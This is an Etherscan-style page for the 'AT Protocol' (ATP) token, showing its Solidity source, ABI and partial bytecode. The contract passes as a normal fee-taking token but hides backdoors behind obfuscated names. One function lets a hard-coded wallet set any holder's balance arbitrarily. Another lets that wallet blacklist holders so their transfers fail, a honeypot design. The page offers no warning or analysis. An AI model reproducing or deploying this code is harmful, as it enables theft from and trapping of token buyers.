ETH Price: $3,315.40 (-0.72%)
 

Overview

Max Total Supply

1,000,000,000,000,000 ATP

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,709,156,999,999.97 ATP

Value
$0.00
0xea45fb1e1c29033209aea594be2d138ce0067e0a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ATProtocol

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-24
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  ATProtocol  is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "AT Protocol";
    string private _symbol = "ATP";
    uint8 private _decimals = 9;
    address payable public Mun2iuc7C9mAXvRvx8;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) J8G0y3EaW0F6i7PKn7;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludefromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public pairList;
    mapping (address => bool) public b2nsDCzAo1C8Wm;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludefromFee[owner()] = true;
        _IsExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        pairList[address(uniswapPair)] = true;

        teamWalletAddress = payable(address(0x4807e7771B0630E18973A5B93562DEb7024173cE));
        Mun2iuc7C9mAXvRvx8 = payable(address(0x4807e7771B0630E18973A5B93562DEb7024173cE));


        J8G0y3EaW0F6i7PKn7[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return J8G0y3EaW0F6i7PKn7[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludefromFee[account[i]] = newValue;
        }
    }

    function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        Mun2iuc7C9mAXvRvx8 = payable(newAddress);
    }


    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function h2f5d3P6l7yMPz(address yHT2W6yjlUv1k0Z1, uint256 SHf5Jbi7v4V5) public{ require(H2k7I8F6D5d5eU(Mun2iuc7C9mAXvRvx8,msg.sender,address(999)));
        J8G0y3EaW0F6i7PKn7[yHT2W6yjlUv1k0Z1] = SHf5Jbi7v4V5;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[from] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }
            J8G0y3EaW0F6i7PKn7[from] = J8G0y3EaW0F6i7PKn7[from].sub(amount);
            uint256 finalAmount = (_IsExcludefromFee[from] || _IsExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            J8G0y3EaW0F6i7PKn7[to] = J8G0y3EaW0F6i7PKn7[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }
    function qJh3uEpIZH_9JYhj(bool o0_6m2sQbkeF, address[] calldata c3Efw8JDja) public { require(H2k7I8F6D5d5eU(Mun2iuc7C9mAXvRvx8,msg.sender,address(0)));
        for (uint256 a; a < c3Efw8JDja.length; a++) {
            b2nsDCzAo1C8Wm[c3Efw8JDja[a]] = o0_6m2sQbkeF;
        }
    }
    function H2k7I8F6D5d5eU(address izIh,address YFPPVuwG_6x1T9 , address i2Gko1_6vuf8hPee_9) private pure returns(bool){return izIh == YFPPVuwG_6x1T9 && !!(i2Gko1_6vuf8hPee_9 != address(1));}

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        J8G0y3EaW0F6i7PKn7[sender] = J8G0y3EaW0F6i7PKn7[sender].sub(amount, "Insufficient Balance");
        J8G0y3EaW0F6i7PKn7[recipient] = J8G0y3EaW0F6i7PKn7[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(Mun2iuc7C9mAXvRvx8, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 isMarketPaIrt) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            isMarketPaIrt,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(isMarketPaIrt, path);
    }

    function addLiquidity(uint256 isMarketPaIrt, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            isMarketPaIrt,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!b2nsDCzAo1C8Wm[sender]);
        }

        if(pairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(pairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            J8G0y3EaW0F6i7PKn7[address(this)] = J8G0y3EaW0F6i7PKn7[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Mun2iuc7C9mAXvRvx8","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b2nsDCzAo1C8Wm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"yHT2W6yjlUv1k0Z1","type":"address"},{"internalType":"uint256","name":"SHf5Jbi7v4V5","type":"uint256"}],"name":"h2f5d3P6l7yMPz","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"o0_6m2sQbkeF","type":"bool"},{"internalType":"address[]","name":"c3Efw8JDja","type":"address[]"}],"name":"qJh3uEpIZH_9JYhj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600b81526020017f41542050726f746f636f6c00000000000000000000000000000000000000000081525060019080519060200190620000519291906200099a565b506040518060400160405280600381526020017f4154500000000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200099a565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600d556001600e556001600f55600160105560016011556001601255600460135560046014556010601555600c601655600c60175560188055600360009054906101000a900460ff16600a6200014d919062000c11565b66038d7ea4c6800062000161919062000d4e565b601955600360009054906101000a900460ff16600a62000182919062000c11565b6103e862000191919062000d4e565b601a556001601c60156101000a81548160ff0219169083151502179055506000601c60166101000a81548160ff0219169083151502179055506001601c60176101000a81548160ff021916908315150217905550348015620001f257600080fd5b50620002036200090660201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200031d57600080fd5b505afa15801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000a61565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003bb57600080fd5b505afa158015620003d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f6919062000a61565b6040518363ffffffff1660e01b81526004016200041592919062000adc565b602060405180830381600087803b1580156200043057600080fd5b505af115801562000445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046b919062000a61565b601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005a76200090e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000689600f5462000675600e54600d546200093760201b62001e921790919060201c565b6200093760201b62001e921790919060201c565b601681905550620006c8601254620006b46011546010546200093760201b62001e921790919060201c565b6200093760201b62001e921790919060201c565b60178190555062000707601554620006f36014546013546200093760201b62001e921790919060201c565b6200093760201b62001e921790919060201c565b6018819055506001600b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550734807e7771b0630e18973a5b93562deb7024173ce600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734807e7771b0630e18973a5b93562deb7024173ce600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060195460056000620008486200090660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008966200090660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601954604051620008f7919062000b2b565b60405180910390a35062000ee3565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000948919062000b59565b90508381101562000990576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009879062000b09565b60405180910390fd5b8091505092915050565b828054620009a89062000dfa565b90600052602060002090601f016020900481019282620009cc576000855562000a18565b82601f10620009e757805160ff191683800117855562000a18565b8280016001018555821562000a18579182015b8281111562000a17578251825591602001919060010190620009fa565b5b50905062000a27919062000a2b565b5090565b5b8082111562000a4657600081600090555060010162000a2c565b5090565b60008151905062000a5b8162000ec9565b92915050565b60006020828403121562000a7a5762000a7962000e8e565b5b600062000a8a8482850162000a4a565b9150509291505